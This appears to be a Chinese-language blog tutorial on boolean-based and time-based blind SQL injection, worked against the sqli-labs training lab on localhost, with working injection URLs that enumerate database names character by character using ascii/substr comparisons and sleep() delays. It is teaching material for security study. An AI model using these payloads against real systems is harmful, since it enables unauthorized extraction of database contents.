SQL注入之布尔盲注和时间盲注

布尔型盲注:

前提:
页面中没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常;

缺点:
速度太慢,耗费大量时间。

substr()函数:

作用:截取字符串

用法:substr(string,num start,num length)
string:字符串
num start:起始位置(下标从1开始)
,num length:长度

ascii()函数:

作用:返回字符串str的字符ASCII码值,如果字符串是空的,则返回0;如果是NULL,返回NULL;
ascii------0~126
32--空格

1.png

ascii(substr(str,start,lenght))>n
利用二分法--判断字符值

布尔盲注过程:

//判断数据库个数:

?id=1 and (select count(schema_name) from information_schema.schemata )>8

//判断第一个数据库名有多少字符

?id=1 and (select length(schema_name) from information_schema.schemata )>18

//判断第一个库的第一个字符

?id=1 and select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1) )>105

//判断第一个库的第二个字符

?id=1 and select ascii(substr((select schema_name from information_schema.schemata limit 0,1),2,1) )>105

//可知数据库个数是9

http://127.0.0.1/sqli-labs/Less-8/?id=1 '  
and (select count(schema_name) from information_schema.schemata )>8
--+

2.png

3.png

//判断第一个数据库名有多少字符

http://127.0.0.1/sqli-labs/Less-8/?id=1 '  
and (select length(schema_name) from information_schema.schemata limit 0,1)>13
--+

4.png

第一个字符--------105---i
http://127.0.0.1/sqli-labs/Less-8/?id=1 '

and ascii(substr( (select schema_name from information_schema.schemata limit 0,1),1,1))>63

5.png


时间盲注:

前提:

页面没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回的页面都一样,但是加入sleep(5)条件后,页面的返回速度明显慢了5秒。

**if(condition,A,,B)函数:
当condition为ture时,返回A;
当condition为false时,返回B;**

 and if(ascii(substr(payload,1,1))=104,sleep(5),1)

根据页面的返回时间判断条件是否满足:

http://127.0.0.1/sqli-labs/Less-8/?id=1 '  
and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(5),1)
--+

可知第一个数据库的第一个字符时i
可以通过网络查看页面回显了多少秒:

6.png

其他获取数据的语句参考联合查询注入:

标签: none

已有 3 条评论

  1. 血小板

    血小板报道

    1. 看板娘Koharu,多多指教

  2. gcy

    123

添加新评论